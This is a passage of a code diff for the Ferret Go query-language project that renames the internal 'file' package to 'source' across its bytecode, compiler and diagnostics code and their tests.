    @@ -7,9 +7,10 @@ import (
     
     	gojson "github.com/goccy/go-json"
     
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	"github.com/MontFerret/ferret/v2/pkg/bytecode/internal/persist"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
    @@ -34,7 +35,7 @@ func TestFormatRoundTrip(t *testing.T) {
     		t.Fatalf("unexpected source content: got %q, want %q", got, want)
     	}
     
    -	if line, col := decoded.Source.LocationAt(file.Span{Start: 7, End: 7}); line == 0 || col == 0 {
    +	if line, col := decoded.Source.LocationAt(source.Span{Start: 7, End: 7}); line == 0 || col == 0 {
     		t.Fatalf("expected source lines to be rebuilt, got line=%d col=%d", line, col)
     	}
     
    @@ -142,7 +143,7 @@ func validFrame() persist.ProgramFrame {
     
     func newTestProgram() *bytecode.Program {
     	return &bytecode.Program{
    -		Source: file.NewSource("roundtrip.fql", "RETURN 1\nRETURN 2"),
    +		Source: source.New("roundtrip.fql", "RETURN 1\nRETURN 2"),
     		Functions: bytecode.Functions{
     			Host: map[string]int{
     				"now": 0,
    @@ -177,7 +178,7 @@ func newTestProgram() *bytecode.Program {
     			AggregatePlans:         []bytecode.AggregatePlan{bytecode.NewAggregatePlan([]runtime.String{runtime.NewString("group")}, []bytecode.AggregateKind{bytecode.AggregateCount}, true)},
     			AggregateSelectorSlots: []int{-1, -1},
     			MatchFailTargets:       []int{-1, -1},
    -			DebugSpans:             []file.Span{{Start: 0, End: 8}, {Start: 9, End: 17}},
    +			DebugSpans:             []source.Span{{Start: 0, End: 8}, {Start: 9, End: 17}},
     			OptimizationLevel:      1,
     		},
     		ISAVersion: bytecode.Version,
    
  • pkg/bytecode/format/msgpack/format_test.go+5 4 modified
    @@ -7,9 +7,10 @@ import (
     
     	vmmsgpack "github.com/vmihailenco/msgpack/v5"
     
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	"github.com/MontFerret/ferret/v2/pkg/bytecode/internal/persist"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
    @@ -34,7 +35,7 @@ func TestFormatRoundTrip(t *testing.T) {
     		t.Fatalf("expected aggregate plan index to be rebuilt, got %d", got)
     	}
     
    -	if line, col := decoded.Source.LocationAt(file.Span{Start: 7, End: 7}); line == 0 || col == 0 {
    +	if line, col := decoded.Source.LocationAt(source.Span{Start: 7, End: 7}); line == 0 || col == 0 {
     		t.Fatalf("expected source lines to be rebuilt, got line=%d col=%d", line, col)
     	}
     }
    @@ -138,7 +139,7 @@ func validFrame() persist.ProgramFrame {
     
     func newTestProgram() *bytecode.Program {
     	return &bytecode.Program{
    -		Source: file.NewSource("roundtrip.fql", "RETURN 1\nRETURN 2"),
    +		Source: source.New("roundtrip.fql", "RETURN 1\nRETURN 2"),
     		Functions: bytecode.Functions{
     			Host: map[string]int{
     				"now": 0,
    @@ -173,7 +174,7 @@ func newTestProgram() *bytecode.Program {
     			AggregatePlans:         []bytecode.AggregatePlan{bytecode.NewAggregatePlan([]runtime.String{runtime.NewString("group")}, []bytecode.AggregateKind{bytecode.AggregateCount}, true)},
     			AggregateSelectorSlots: []int{-1, -1},
     			MatchFailTargets:       []int{-1, -1},
    -			DebugSpans:             []file.Span{{Start: 0, End: 8}, {Start: 9, End: 17}},
    +			DebugSpans:             []source.Span{{Start: 0, End: 8}, {Start: 9, End: 17}},
     			OptimizationLevel:      1,
     		},
     		ISAVersion: bytecode.Version,
    
  • pkg/bytecode/internal/persist/frame.go+6 6 modified
    @@ -7,8 +7,8 @@ import (
     	"time"
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     const (
    @@ -335,9 +335,9 @@ func ToProgram(frame ProgramFrame) (*bytecode.Program, error) {
     		aggregatePlans[i] = bytecode.NewAggregatePlan(keys, kinds, plan.TrackGroupValues)
     	}
     
    -	debugSpans := make([]file.Span, len(frame.Metadata.DebugSpans))
    +	debugSpans := make([]source.Span, len(frame.Metadata.DebugSpans))
     	for i, span := range frame.Metadata.DebugSpans {
    -		debugSpans[i] = file.Span{
    +		debugSpans[i] = source.Span{
     			Start: span.Start,
     			End:   span.End,
     		}
    @@ -356,13 +356,13 @@ func ToProgram(frame ProgramFrame) (*bytecode.Program, error) {
     		labels[label.PC] = label.Name
     	}
     
    -	var source *file.Source
    +	var src *source.Source
     	if frame.Source != nil {
    -		source = file.NewSource(frame.Source.Name, frame.Source.Text)
    +		src = source.New(frame.Source.Name, frame.Source.Text)
     	}
     
     	program := &bytecode.Program{
    -		Source: source,
    +		Source: src,
     		Functions: bytecode.Functions{
     			Host:        host,
     			UserDefined: udfs,
    
  • pkg/bytecode/program.go+4 3 modified
    @@ -5,7 +5,8 @@ import (
     
     	"github.com/goccy/go-json"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
    @@ -21,12 +22,12 @@ type (
     		AggregatePlans         []AggregatePlan `json:"aggregatePlans"`
     		AggregateSelectorSlots []int           `json:"aggregateSelectorSlots,omitempty"`
     		MatchFailTargets       []int           `json:"matchFailTargets,omitempty"`
    -		DebugSpans             []file.Span     `json:"debugSpans"`
    +		DebugSpans             []source.Span   `json:"debugSpans"`
     		OptimizationLevel      int             `json:"optimizationLevel"`
     	}
     
     	Program struct {
    -		Source     *file.Source
    +		Source     *source.Source
     		Functions  Functions
     		Bytecode   []Instruction
     		Constants  []runtime.Value
    
  • pkg/bytecode/validation_test.go+3 3 modified
    @@ -4,8 +4,8 @@ import (
     	"errors"
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestValidateProgram(t *testing.T) {
    @@ -125,7 +125,7 @@ func TestValidateProgramAllowsConcatImmediateCountAtRegisterLimit(t *testing.T)
     
     func validValidationProgram() *Program {
     	return &Program{
    -		Source: file.NewSource("validation.fql", "RETURN 1"),
    +		Source: source.New("validation.fql", "RETURN 1"),
     		Functions: Functions{
     			Host: map[string]int{
     				"now": 0,
    @@ -155,7 +155,7 @@ func validValidationProgram() *Program {
     			AggregatePlans:         []AggregatePlan{NewAggregatePlan([]runtime.String{runtime.NewString("group")}, []AggregateKind{AggregateCount}, false)},
     			AggregateSelectorSlots: []int{-1, -1},
     			MatchFailTargets:       []int{-1, -1},
    -			DebugSpans:             []file.Span{{Start: 0, End: 6}, {Start: 7, End: 8}},
    +			DebugSpans:             []source.Span{{Start: 0, End: 6}, {Start: 7, End: 8}},
     			OptimizationLevel:      1,
     		},
     		ISAVersion: Version,
    
  • pkg/compiler/compiler.go+2 3 modified
    @@ -7,11 +7,10 @@ import (
     	"github.com/MontFerret/ferret/v2/pkg/compiler/internal/optimization"
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
     	parserd "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     
     	"github.com/antlr4-go/antlr/v4"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    -
     	"github.com/MontFerret/ferret/v2/pkg/parser"
     )
     
    @@ -45,7 +44,7 @@ func New(setters ...Option) *Compiler {
     // Compile parses and compiles a source into a bytecode program.
     //
     // Compile is safe for concurrent use by multiple goroutines.
    -func (c *Compiler) Compile(src *file.Source) (program *bytecode.Program, err error) {
    +func (c *Compiler) Compile(src *source.Source) (program *bytecode.Program, err error) {
     	if src.Empty() {
     		return nil, parserd.NewEmptyQueryError(src)
     	}
    
  • pkg/compiler/internal/context.go+4 3 modified
    @@ -6,10 +6,11 @@ import (
     
     	"github.com/antlr4-go/antlr/v4"
     
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	"github.com/MontFerret/ferret/v2/pkg/compiler/internal/core"
     	"github.com/MontFerret/ferret/v2/pkg/compiler/internal/optimization"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/diagnostics"
     )
     
    @@ -33,7 +34,7 @@ type CompilerContext struct {
     	ExprCompiler        *ExprCompiler
     	DispatchCompiler    *DispatchCompiler
     	StmtCompiler        *StmtCompiler
    -	Source              *file.Source
    +	Source              *source.Source
     	LoopSortCompiler    *LoopSortCompiler
     	LoopCollectCompiler *LoopCollectCompiler
     	WaitCompiler        *WaitCompiler
    @@ -43,7 +44,7 @@ type CompilerContext struct {
     }
     
     // NewCompilerContext initializes a new CompilerContext with default values.
    -func NewCompilerContext(src *file.Source, errors *diagnostics.ErrorHandler, level optimization.Level) *CompilerContext {
    +func NewCompilerContext(src *source.Source, errors *diagnostics.ErrorHandler, level optimization.Level) *CompilerContext {
     	ctx := &CompilerContext{
     		Source:              src,
     		Errors:              errors,
    
  • pkg/compiler/internal/core/emitter.go+8 8 modified
    @@ -5,7 +5,7 @@ import (
     	"strings"
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     type Emitter struct {
    @@ -15,28 +15,28 @@ type Emitter struct {
     	instructions     []bytecode.Instruction
     	selectorSlots    []int
     	matchFailTargets []int
    -	spans            []file.Span
    -	currentSpan      file.Span
    +	spans            []source.Span
    +	currentSpan      source.Span
     	nextLabelID      labelID
     }
     
     func NewEmitter() *Emitter {
     	return &Emitter{
     		instructions: make([]bytecode.Instruction, 0, 8),
    -		currentSpan:  file.Span{Start: -1, End: -1},
    +		currentSpan:  source.Span{Start: -1, End: -1},
     	}
     }
     
     func (e *Emitter) Bytecode() []bytecode.Instruction {
     	return e.instructions
     }
     
    -func (e *Emitter) Spans() []file.Span {
    +func (e *Emitter) Spans() []source.Span {
     	if len(e.spans) == 0 {
     		return nil
     	}
     
    -	out := make([]file.Span, len(e.spans))
    +	out := make([]source.Span, len(e.spans))
     	copy(out, e.spans)
     
     	return out
    @@ -65,7 +65,7 @@ func (e *Emitter) MatchFailTargets() []int {
     }
     
     // WithSpan sets a span for emitted instructions within fn.
    -func (e *Emitter) WithSpan(span file.Span, fn func()) {
    +func (e *Emitter) WithSpan(span source.Span, fn func()) {
     	if fn == nil {
     		return
     	}
    @@ -367,7 +367,7 @@ func (e *Emitter) insertInstructionWithSelectorSlot(label Label, ins bytecode.In
     		append([]int{-1}, e.matchFailTargets[pos:]...)...,
     	)
     	e.spans = append(e.spans[:pos],
    -		append([]file.Span{e.currentSpan}, e.spans[pos:]...)...,
    +		append([]source.Span{e.currentSpan}, e.spans[pos:]...)...,
     	)
     
     	// Adjust all subsequent label addresses
    
  • pkg/compiler/internal/dispatch.go+5 4 modified
    @@ -3,12 +3,13 @@ package internal
     import (
     	"github.com/antlr4-go/antlr/v4"
     
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	"github.com/MontFerret/ferret/v2/pkg/parser/diagnostics"
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler/internal/core"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
    @@ -144,14 +145,14 @@ func (c *DispatchCompiler) ensureRegister(op bytecode.Operand) bytecode.Operand
     	return dst
     }
     
    -func dispatchSpan(ctx fql.IDispatchExpressionContext) file.Span {
    +func dispatchSpan(ctx fql.IDispatchExpressionContext) source.Span {
     	if ctx == nil {
    -		return file.Span{Start: -1, End: -1}
    +		return source.Span{Start: -1, End: -1}
     	}
     
     	if prc, ok := ctx.(antlr.ParserRuleContext); ok {
     		return diagnostics.SpanFromRuleContext(prc)
     	}
     
    -	return file.Span{Start: -1, End: -1}
    +	return source.Span{Start: -1, End: -1}
     }
    
  • pkg/compiler/internal/expr.go+14 13 modified
    @@ -8,12 +8,13 @@ import (
     
     	"github.com/antlr4-go/antlr/v4"
     
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	"github.com/MontFerret/ferret/v2/pkg/parser/diagnostics"
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler/internal/core"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
    @@ -434,7 +435,7 @@ func resolveArrayPredicateOpcode(op fql.IArrayOperatorContext) (bytecode.Opcode,
     
     func (c *ExprCompiler) emitBinaryPredicate(ctx fql.IPredicateContext, opcode bytecode.Opcode, left, right bytecode.Operand, isNegated bool) bytecode.Operand {
     	dest := c.ctx.Registers.Allocate()
    -	span := file.Span{Start: -1, End: -1}
    +	span := source.Span{Start: -1, End: -1}
     
     	if prc, ok := ctx.(antlr.ParserRuleContext); ok {
     		span = diagnostics.SpanFromRuleContext(prc)
    @@ -687,7 +688,7 @@ func emitBinaryOperation(ctx *CompilerContext, prc antlr.ParserRuleContext, op a
     	}
     
     	dst := ctx.Registers.Allocate()
    -	span := file.Span{Start: -1, End: -1}
    +	span := source.Span{Start: -1, End: -1}
     
     	if prc != nil {
     		span = diagnostics.SpanFromRuleContext(prc)
    @@ -1911,7 +1912,7 @@ func (c *ExprCompiler) compileImplicitSimpleMemberExpressionSegments(src bytecod
     	return result
     }
     
    -func (c *ExprCompiler) emitOptionalMemberLoadSegment(span file.Span, src, segmentOp bytecode.Operand, constOperand, optional bool, state *optionalMemberChainState) bytecode.Operand {
    +func (c *ExprCompiler) emitOptionalMemberLoadSegment(span source.Span, src, segmentOp bytecode.Operand, constOperand, optional bool, state *optionalMemberChainState) bytecode.Operand {
     	dst := c.allocateOptionalMemberDestination(src, state)
     
     	c.ctx.Emitter.WithSpan(span, func() {
    @@ -2448,7 +2449,7 @@ func (c *ExprCompiler) compileQueryExpressionSource(ctx fql.IQueryExpressionCont
     	return source, source != bytecode.NoopOperand
     }
     
    -func (c *ExprCompiler) emitQueryEnvelope(ctx fql.IQueryExpressionContext, span file.Span) bytecode.Operand {
    +func (c *ExprCompiler) emitQueryEnvelope(ctx fql.IQueryExpressionContext, span source.Span) bytecode.Operand {
     	queryReg := c.ctx.Registers.Allocate()
     
     	c.ctx.Emitter.WithSpan(span, func() {
    @@ -2508,13 +2509,13 @@ func (c *ExprCompiler) compileQueryOptionsOperand(ctx fql.IQueryWithOptContext)
     	return c.Compile(ctx.Expression())
     }
     
    -func (c *ExprCompiler) emitQueryEnvelopeOperand(span file.Span, queryReg, value bytecode.Operand) {
    +func (c *ExprCompiler) emitQueryEnvelopeOperand(span source.Span, queryReg, value bytecode.Operand) {
     	c.ctx.Emitter.WithSpan(span, func() {
     		c.ctx.Emitter.EmitArrayPush(queryReg, value)
     	})
     }
     
    -func (c *ExprCompiler) emitApplyQuery(span file.Span, src, queryReg bytecode.Operand) bytecode.Operand {
    +func (c *ExprCompiler) emitApplyQuery(span source.Span, src, queryReg bytecode.Operand) bytecode.Operand {
     	result := c.ctx.Registers.Allocate()
     
     	c.ctx.Emitter.WithSpan(span, func() {
    @@ -2524,7 +2525,7 @@ func (c *ExprCompiler) emitApplyQuery(span file.Span, src, queryReg bytecode.Ope
     	return result
     }
     
    -func (c *ExprCompiler) lowerQueryModifier(span file.Span, modifier queryModifier, queryResult bytecode.Operand) bytecode.Operand {
    +func (c *ExprCompiler) lowerQueryModifier(span source.Span, modifier queryModifier, queryResult bytecode.Operand) bytecode.Operand {
     	switch modifier {
     	case queryModifierExists:
     		dst := c.ctx.Registers.Allocate()
    @@ -2592,7 +2593,7 @@ func parseQueryModifier(text string) queryModifier {
     	}
     }
     
    -func (c *CompilerContext) lowerQueryModifierValue(span file.Span, queryResult bytecode.Operand) bytecode.Operand {
    +func (c *CompilerContext) lowerQueryModifierValue(span source.Span, queryResult bytecode.Operand) bytecode.Operand {
     	dst := c.Registers.Allocate()
     	cond := c.Registers.Allocate()
     	zero := c.Symbols.AddConstant(runtime.NewInt(0))
    @@ -2614,7 +2615,7 @@ func (c *CompilerContext) lowerQueryModifierValue(span file.Span, queryResult by
     	return dst
     }
     
    -func (c *CompilerContext) lowerQueryModifierOne(span file.Span, queryResult bytecode.Operand) bytecode.Operand {
    +func (c *CompilerContext) lowerQueryModifierOne(span source.Span, queryResult bytecode.Operand) bytecode.Operand {
     	dst := c.Registers.Allocate()
     	length := c.Registers.Allocate()
     	one := c.Symbols.AddConstant(runtime.NewInt(1))
    @@ -2774,7 +2775,7 @@ func arrayContractionDepth(ctx fql.IArrayContractionContext) int {
     	return 1
     }
     
    -func (c *ExprCompiler) compileArrayIteration(src bytecode.Operand, span file.Span, tail []fql.IMemberExpressionPathContext, inline fql.IInlineExpressionContext, extraFilters []fql.IExpressionContext) bytecode.Operand {
    +func (c *ExprCompiler) compileArrayIteration(src bytecode.Operand, span source.Span, tail []fql.IMemberExpressionPathContext, inline fql.IInlineExpressionContext, extraFilters []fql.IExpressionContext) bytecode.Operand {
     	tail, postLoopContraction := splitTerminalArrayContractionTail(tail)
     
     	loop := &core.Loop{
    @@ -2995,7 +2996,7 @@ func (c *ExprCompiler) CompileFunctionCall(ctx fql.IFunctionCallContext, protect
     //   - An operand representing the function call result
     func (c *ExprCompiler) CompileFunctionCallWith(ctx fql.IFunctionCallContext, protected bool, seq core.RegisterSequence) bytecode.Operand {
     	name := getFunctionName(ctx, c.ctx.UseAliases)
    -	span := file.Span{Start: -1, End: -1}
    +	span := source.Span{Start: -1, End: -1}
     
     	if ctx != nil {
     		if fn := ctx.FunctionName(); fn != nil {
    @@ -3272,7 +3273,7 @@ func (c *ExprCompiler) CompileRangeOperator(ctx fql.IRangeOperatorContext) bytec
     	start := c.compileRangeOperand(ctx.GetLeft())
     	end := c.compileRangeOperand(ctx.GetRight())
     
    -	span := file.Span{Start: -1, End: -1}
    +	span := source.Span{Start: -1, End: -1}
     
     	if prc, ok := ctx.(antlr.ParserRuleContext); ok {
     		span = diagnostics.SpanFromRuleContext(prc)
    
  • pkg/compiler/internal/loop.go+4 3 modified
    @@ -3,12 +3,13 @@ package internal
     import (
     	"github.com/antlr4-go/antlr/v4"
     
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	parser "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics"
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler/internal/core"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
     )
     
    @@ -195,7 +196,7 @@ func (c *LoopCompiler) declareLoopCounterVariable(ctx fql.IForExpressionContext,
     }
     
     func (c *LoopCompiler) emitLoopInitialization(ctx fql.IForExpressionContext, loop *core.Loop) {
    -	span := file.Span{Start: -1, End: -1}
    +	span := source.Span{Start: -1, End: -1}
     
     	if srcCtx := ctx.ForExpressionSource(); srcCtx != nil {
     		if prc, ok := srcCtx.(antlr.ParserRuleContext); ok {
    @@ -238,7 +239,7 @@ func (c *LoopCompiler) compileFinalization(ctx antlr.RuleContext) bytecode.Opera
     		re := ctx.(*fql.ReturnExpressionContext)
     		expReg := c.ctx.ExprCompiler.Compile(re.Expression())
     
    -		span := file.Span{Start: -1, End: -1}
    +		span := source.Span{Start: -1, End: -1}
     
     		if exprCtx := re.Expression(); exprCtx != nil {
     			if prc, ok := exprCtx.(antlr.ParserRuleContext); ok {
    
  • pkg/compiler/internal/optimization/pass_peephole_test.go+2 2 modified
    @@ -5,8 +5,8 @@ import (
     	"testing"
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func runPeephole(t *testing.T, program *bytecode.Program) (*PassResult, error) {
    @@ -680,7 +680,7 @@ func TestPeephole_RemapsCatchDebugSpansAndLabels(t *testing.T) {
     		Metadata: bytecode.Metadata{
     			AggregateSelectorSlots: []int{-1, 7, -1, 9},
     			MatchFailTargets:       []int{3, -1, -1, -1},
    -			DebugSpans: []file.Span{
    +			DebugSpans: []source.Span{
     				{Start: 0, End: 1},
     				{Start: 2, End: 3},
     				{Start: 4, End: 5},
    
  • pkg/compiler/internal/optimization/peephole_remap.go+6 2 modified
    @@ -2,7 +2,7 @@ package optimization
     
     import (
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func applyPeepholeCompactionAndRemap(state *peepholeRunState) {
    @@ -114,15 +114,19 @@ func remapDebugSpans(prog *bytecode.Program, keep []bool) {
     	if prog == nil || len(prog.Metadata.DebugSpans) == 0 {
     		return
     	}
    +
     	if len(prog.Metadata.DebugSpans) != len(keep) {
     		return
     	}
    -	updated := make([]file.Span, 0, len(prog.Metadata.DebugSpans))
    +
    +	updated := make([]source.Span, 0, len(prog.Metadata.DebugSpans))
    +
     	for i, span := range prog.Metadata.DebugSpans {
     		if keep[i] {
     			updated = append(updated, span)
     		}
     	}
    +
     	prog.Metadata.DebugSpans = updated
     }
     
    
  • pkg/compiler/internal/wait.go+6 5 modified
    @@ -7,12 +7,13 @@ import (
     
     	"github.com/antlr4-go/antlr/v4"
     
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	parser "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics"
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler/internal/core"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
    @@ -567,11 +568,11 @@ func (c *WaitCompiler) emitApplyJitter(intervalReg, jitterReg bytecode.Operand)
     	c.ctx.Emitter.EmitABC(bytecode.OpMul, intervalReg, intervalReg, multiplierReg)
     }
     
    -func waitForSpan(source antlr.RuleContext, fallback antlr.RuleContext) file.Span {
    -	span := file.Span{Start: -1, End: -1}
    +func waitForSpan(src antlr.RuleContext, fallback antlr.RuleContext) source.Span {
    +	span := source.Span{Start: -1, End: -1}
     
    -	if source != nil {
    -		if prc, ok := source.(antlr.ParserRuleContext); ok {
    +	if src != nil {
    +		if prc, ok := src.(antlr.ParserRuleContext); ok {
     			span = parser.SpanFromRuleContext(prc)
     			return span
     		}
    
  • pkg/compiler/visitor.go+2 2 modified
    @@ -6,18 +6,18 @@ import (
     
     	"github.com/MontFerret/ferret/v2/pkg/compiler/internal"
     	"github.com/MontFerret/ferret/v2/pkg/compiler/internal/optimization"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	parser "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     type Visitor struct {
     	*fql.BaseFqlParserVisitor
     	Ctx *internal.CompilerContext
     }
     
    -func NewVisitor(src *file.Source, errors *parser.ErrorHandler, level optimization.Level) *Visitor {
    +func NewVisitor(src *source.Source, errors *parser.ErrorHandler, level optimization.Level) *Visitor {
     	v := new(Visitor)
     	v.BaseFqlParserVisitor = new(fql.BaseFqlParserVisitor)
     	v.Ctx = internal.NewCompilerContext(src, errors, level)
    
  • pkg/diagnostics/diagnostic.go+10 10 modified
    @@ -3,29 +3,29 @@ package diagnostics
     import (
     	"strings"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     // Diagnostic represents a structured diagnostic error with optional source context and spans.
     type Diagnostic struct {
    -	Cause   error        `json:"cause"`
    -	Source  *file.Source `json:"source"`
    -	Kind    Kind         `json:"kind"`
    -	Message string       `json:"message"`
    -	Hint    string       `json:"hint"`
    -	Note    string       `json:"note"`
    -	Spans   []ErrorSpan  `json:"spans"`
    +	Cause   error          `json:"cause"`
    +	Source  *source.Source `json:"source"`
    +	Kind    Kind           `json:"kind"`
    +	Message string         `json:"message"`
    +	Hint    string         `json:"hint"`
    +	Note    string         `json:"note"`
    +	Spans   []ErrorSpan    `json:"spans"`
     }
     
    -func NewUnexpectedError(src *file.Source, msg string) *Diagnostic {
    +func NewUnexpectedError(src *source.Source, msg string) *Diagnostic {
     	return &Diagnostic{
     		Kind:    UnexpectedError,
     		Message: msg,
     		Source:  src,
     	}
     }
     
    -func NewUnexpectedErrorWith(src *file.Source, msg string, cause error) *Diagnostic {
    +func NewUnexpectedErrorWith(src *source.Source, msg string, cause error) *Diagnostic {
     	return &Diagnostic{
     		Kind:    UnexpectedError,
     		Message: msg,
    
  • pkg/diagnostics/diagnostics_test.go+2 2 modified
    @@ -5,7 +5,7 @@ import (
     
     	. "github.com/smartystreets/goconvey/convey"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestMultiCompilationError(t *testing.T) {
    @@ -47,7 +47,7 @@ func TestMultiCompilationError(t *testing.T) {
     		})
     
     		Convey("Format() should format errors properly", func() {
    -			src := file.NewSource("test.fql", "LET x = 1")
    +			src := source.New("test.fql", "LET x = 1")
     
     			tests := []struct {
     				name   string
    
  • pkg/diagnostics/error_span.go+5 5 modified
    @@ -1,25 +1,25 @@
     package diagnostics
     
    -import "github.com/MontFerret/ferret/v2/pkg/file"
    +import "github.com/MontFerret/ferret/v2/pkg/source"
     
     type ErrorSpan struct {
     	Label string
    -	Span  file.Span
    +	Span  source.Span
     	Main  bool
     }
     
    -func NewErrorSpan(span file.Span, label string, main bool) ErrorSpan {
    +func NewErrorSpan(span source.Span, label string, main bool) ErrorSpan {
     	return ErrorSpan{
     		Span:  span,
     		Label: label,
     		Main:  main,
     	}
     }
     
    -func NewMainErrorSpan(span file.Span, label string) ErrorSpan {
    +func NewMainErrorSpan(span source.Span, label string) ErrorSpan {
     	return NewErrorSpan(span, label, true)
     }
     
    -func NewSecondaryErrorSpan(span file.Span, label string) ErrorSpan {
    +func NewSecondaryErrorSpan(span source.Span, label string) ErrorSpan {
     	return NewErrorSpan(span, label, false)
     }
    
  • pkg/diagnostics/error_span_test.go+4 4 modified
    @@ -5,13 +5,13 @@ import (
     
     	. "github.com/smartystreets/goconvey/convey"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestErrorSpan(t *testing.T) {
     	Convey("ErrorSpan constructors", t, func() {
     		Convey("NewErrorSpan should create ErrorSpan with all fields", func() {
    -			span := file.Span{Start: 0, End: 10}
    +			span := source.Span{Start: 0, End: 10}
     			label := "test label"
     			main := true
     
    @@ -23,7 +23,7 @@ func TestErrorSpan(t *testing.T) {
     		})
     
     		Convey("NewMainErrorSpan should create main ErrorSpan", func() {
    -			span := file.Span{Start: 0, End: 10}
    +			span := source.Span{Start: 0, End: 10}
     			label := "main error"
     
     			result := NewMainErrorSpan(span, label)
    @@ -34,7 +34,7 @@ func TestErrorSpan(t *testing.T) {
     		})
     
     		Convey("NewSecondaryErrorSpan should create non-main ErrorSpan", func() {
    -			span := file.Span{Start: 5, End: 15}
    +			span := source.Span{Start: 5, End: 15}
     			label := "secondary error"
     
     			result := NewSecondaryErrorSpan(span, label)
    
  • pkg/diagnostics/formatter.go+2 2 modified
    @@ -7,7 +7,7 @@ import (
     	"sort"
     	"strings"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func FormatDiagnostic(out io.Writer, e *Diagnostic, indent int) {
    @@ -56,7 +56,7 @@ func FormatDiagnostic(out io.Writer, e *Diagnostic, indent int) {
     	}
     }
     
    -func renderErrorSpan(out io.Writer, prefix string, src *file.Source, s ErrorSpan) {
    +func renderErrorSpan(out io.Writer, prefix string, src *source.Source, s ErrorSpan) {
     	renderer := SpanRenderer{
     		Prefix:             prefix,
     		CaretChar:          '^',
    
  • pkg/diagnostics/formatter_test.go+8 8 modified
    @@ -4,11 +4,11 @@ import (
     	"strings"
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestFormatError_Basic(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1")
    +	src := source.New("test.fql", "LET x = 1")
     
     	err := &Diagnostic{
     		Kind:    UnexpectedError,
    @@ -32,15 +32,15 @@ func TestFormatError_Basic(t *testing.T) {
     }
     
     func TestFormatError_WithSpans(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1")
    +	src := source.New("test.fql", "LET x = 1")
     
     	err := &Diagnostic{
     		Kind:    UnexpectedError,
     		Message: "test error",
     		Source:  src,
     		Spans: []ErrorSpan{
    -			NewMainErrorSpan(file.Span{Start: 0, End: 3}, "main error"),
    -			NewSecondaryErrorSpan(file.Span{Start: 4, End: 5}, "secondary error"),
